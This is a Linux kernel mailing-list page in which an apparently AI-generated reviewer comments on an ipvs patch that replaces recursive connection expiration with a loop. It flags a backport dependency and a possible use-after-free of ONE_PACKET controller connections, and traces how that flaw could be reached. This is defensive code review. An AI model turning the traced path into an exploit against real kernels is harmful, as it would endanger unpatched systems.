> @@ -1357,6 +1357,9 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
>  	struct netns_ipvs *ipvs = cp->ipvs;
>  
> +	rcu_read_lock();
> +
> +repeat:
>  	/*
>  	 *	do I control anybody?
>  	 */
> @@ -1366,19 +1369,20 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  	/* Unlink conn if not referenced anymore */
>  	if (likely(ip_vs_conn_unlink(cp, my_cb))) {

[Severity: Low]
This patch has Cc: stable and Fixes: f9200a52eedf, but it depends on the
previous commit, "ipvs: wait the running timer cb on conn deletion". That
commit adds my_cb, the tagged timer pointer in ip_vs_conn_del(),
ip_vs_conn_unlink(cp, my_cb) and the guarded expire_later path.

The prerequisite has a Fixes: tag but no Cc: stable. This commit message
only calls it "the preceding refcount fix", without its subject or a
dependency note.

If stable picks up this patch alone, will it fail to apply or build?
Could a manual backport also lose the deletion-mode revalidation that this
walk relies on?

Would it make sense to add Cc: stable to the prerequisite and name it
here, for example with a "# depends on" note?

>  		struct ip_vs_conn *ct = cp->control;
> +		bool next = false;
>  
>  		/* does anybody control me? */
>  		if (ct) {
> -			rcu_read_lock();
>  			ip_vs_control_del(cp);
>  			/* Drop CTL or non-assured TPL if not used anymore */
>  			if (!cp->timeout && !atomic_read(&ct->n_control) &&
>  			    (!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
>  			     !(ct->state & IP_VS_CTPL_S_ASSURED))) {
>  				IP_VS_DBG(4, "drop controlling connection\n");
> -				ip_vs_conn_del(ct);
> +				if (ct->control)
> +					ct->timeout = 0;
> +				next = true;
>  			}
> -			rcu_read_unlock();
>  		}
>  
>  		if ((cp->flags & IP_VS_CONN_F_NFCT) &&
> @@ -1405,7 +1409,12 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  		else
>  			call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
>  		atomic_dec(&ipvs->conn_count);
> -		return;
> +		if (next) {
> +			cp = ct;
> +			my_cb = false;
> +			goto repeat;

[Severity: Critical]
Can this walk free a ONE_PACKET controller while its timer is still
queued?

The commit message says the walk stays under RCU and that the preceding
refcount fix handles the timer callback race. Neither seems to cover
IP_VS_CONN_F_ONE_PACKET conns.

For those conns, ip_vs_conn_unlink() returns before the
timer_delete()/my_cb revalidation:

net/netfilter/ipvs/ip_vs_conn.c:ip_vs_conn_unlink() {
    if (!refcount_dec_if_one(&cp->refcnt))
        return false;

    if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
        return true;
    ...
}

ip_vs_conn_expire() then frees them without waiting for an RCU grace
period:

    if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
        ip_vs_conn_rcu_free(&cp->rcu_head);

A ONE_PACKET template with an ordinary child looks reachable:

- ONE_PACKET is part of IP_VS_CONN_F_DEST_MASK, so __ip_vs_update_dest()
  accepts it from userspace.
- ip_vs_bind_dest() only strips it for non-UDP conns, so UDP persistence
  templates keep it.
- ip_vs_sched_persist() reads dest->conn_flags separately for the
  template and for the child. A concurrent dest edit can leave a hashed
  ordinary child cp controlled by a ONE_PACKET template ct.

While cp exists, ct's expire_later path keeps re-arming ct->timer through
__ip_vs_conn_put_timer(). For ONE_PACKET conns that function uses a
timeout of 0.

Suppose cp is then deleted, for example by ip_vs_conn_flush() during
netns teardown:

ip_vs_conn_del(cp)
  ip_vs_conn_expire(cp, my_cb = false)
    ip_vs_control_del(cp)          /* ct->n_control drops to 0 */
    next = true                    /* new template is not ASSURED */
    cp = ct; my_cb = false; goto repeat
    ip_vs_conn_unlink(ct, false)   /* returns true, no timer_delete() */
    ip_vs_conn_rcu_free(ct)        /* ct freed, ct->timer still queued */

Would the timer base then touch the freed ct, and later call
ip_vs_conn_expire() on it?

There also seems to be a second variant. Suppose ct's own timer callback
on another CPU sees n_control == 0 first. It frees ct synchronously while
this walker still reads ct->n_control, ct->flags, ct->state and
ct->control. The walker then goes back to repeat with the freed ct.

Before "ipvs: wait the running timer cb on conn deletion", the old code
had two protections:

    bool has_ref = !cp->timeout && __ip_vs_conn_get(ct);
    ...
    ip_vs_conn_del_put(ct);

ct was pinned before ip_vs_control_del(), and ip_vs_conn_del_put() only
went ahead if timer_delete() on ct's timer succeeded. That commit removed
both, and this patch keeps that behaviour in the iterative walk. The
remaining patch in the series only touches ip_vs_ftp.c.

A related point: ip_vs_conn_flush() and ip_vs_expire_nodest_conn_flush()
read cp_c->n_control after ip_vs_conn_del(cp), and rely on RCU for that:

    /* Rely on RCU grace period while accessing cp after ip_vs_conn_del */

Could that read also hit freed memory when cp_c is a ONE_PACKET
controller that this walk freed synchronously?

> +		}
> +		goto out;
>  	}
>  
>    expire_later:

[ ... ]

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790266803.git.zihanx%40nebusec.ai

^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2026-09-29 17:05 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-25 16:40 [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
2026-09-25 16:40 ` [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion Zihan Xi
2026-09-29 17:05   ` netdev-bot+sashiko
2026-09-25 16:40 ` [PATCH nf v5 2/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
2026-09-29 17:05   ` netdev-bot+sashiko
2026-09-25 16:40 ` [PATCH nf v5 3/3] ipvs: reject FTP control ports as data ports Zihan Xi
2026-09-25 18:05 ` [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Julian Anastasov
2026-09-27 14:07 ` Julian Anastasov
2026-09-27 15:23   ` zihan xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox